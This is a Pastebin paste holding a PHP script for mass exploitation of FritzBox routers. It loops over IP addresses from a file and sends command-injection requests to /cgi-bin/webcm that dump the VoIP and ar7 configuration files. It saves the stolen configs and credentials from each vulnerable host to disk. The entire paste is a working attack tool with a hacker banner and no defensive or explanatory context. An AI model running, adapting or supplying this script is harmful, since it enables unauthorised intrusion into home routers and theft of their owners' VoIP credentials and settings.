Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "
- ______ ____ ___
- l l__l l 1 1 1 1 to exploit
- l ___l 1 1 1 1 1 Greetz to :all frds
- l l 1 1 1 1 1 1
- l l 1 1 1 1 1 1
- l l 1 1 1 1_____1 1
- \------------/
- ";
- set_time_limit(0);
- error_reporting(0);
- function func1($url){
- $curl=curl_init();
- curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26 allcfgconv -C voip -c -o - ../../../../../var/tmp/voip.cfg %26");
- curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
- curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
- curl_setopt($curl, CURLOPT_TIMEOUT,15);
- curl_setopt($curl, CURLOPT_HEADER, true);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- function func2($url){
- $curl=curl_init();
- curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26 allcfgconv -C voip -c -o - ../../../../../var/tmp/voip.cfg %26");
- curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
- curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
- curl_setopt($curl, CURLOPT_TIMEOUT,15);
- curl_setopt($curl, CURLOPT_HEADER, true);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- function func3($url){
- $curl=curl_init();
- curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20allcfgconv%20-C%20ar7%20-c%20-o%20-%20../../../../../var/flash/ar7.cfg%26");
- curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
- curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
- curl_setopt($curl, CURLOPT_TIMEOUT,15);
- curl_setopt($curl, CURLOPT_HEADER, true);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- function func4($url){
- $curl=curl_init();
- curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20allcfgconv%20-C%20ar7%20-c%20-o%20-%20../../../../../var/flash/ar7.cfg%26");
- curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
- curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
- curl_setopt($curl, CURLOPT_TIMEOUT,15);
- curl_setopt($curl, CURLOPT_HEADER, true);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- $FritzBoxIps = file("ips.txt");
- foreach($FritzBoxIps as $FritzBoxD){
- /*
- preg_match_all("/\|\s[0-9].*:/" , $FritzBoxD , $FritzBox);
- $FritzBox = $FritzBox[0][0];
- $FritzBox = str_replace("| " , "" , $FritzBox);
- $FritzBox = str_replace(":" , "" , $FritzBox);
- */
- if(preg_match("/\|\s/" , $FritzBoxD)){
- preg_match_all("/\|\s.*\:/" , $FritzBoxD , $a);
- $FritzBox = str_replace( "| " , "" , str_replace(":" , "" , $a[0][0]));
- }else{
- preg_match_all("/[0-9].*\.[0-9].*\.[0-9].*\.[0-9]*/" , $FritzBoxD , $a);
- $FritzBox = $a[0][0];
- }
- echo "[+] Testing $FritzBox \n";
- $FritzHTTP = func2("http://$FritzBox");
- if(eregi("voipcfg" , $FritzHTTP)){
- echo " + Success Exploit In http://$FritzBox/ \n";
- $ar7 = func3("http://$FritzBox");
- $fp = fopen($FritzBox.".txt", 'a+');
- fwrite($fp, "http://$FritzBox \n\n $FritzHTTP \n\n $ar7 ");
- fclose($fp);
- }
- $FritzHTTPS = func1("https://$FritzBox");
- if(eregi("\x76\x6f\x69\x70\x63\x66\x67" , $FritzHTTPS)){
- echo " + Success Exploit In https://$FritzBox/ \n";
- $ar7 = func4("https://$FritzBox");
- $fp = fopen($FritzBox.".txt", 'a+');
- fwrite($fp, "\n\n https://$FritzBox \n\n $FritzHTTPS \n\n $ar7 ");
- fclose($fp);
- }
- if(!eregi("voipcfg" , $FritzHTTP) and !eregi("\x76\x6f\x69\x70\x63\x66\x67" , $FritzHTTPS)){
- $fp = fopen("Not-Opened.txt", 'a+');
- fwrite($fp, "$FritzBox \n");
- fclose($fp);
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment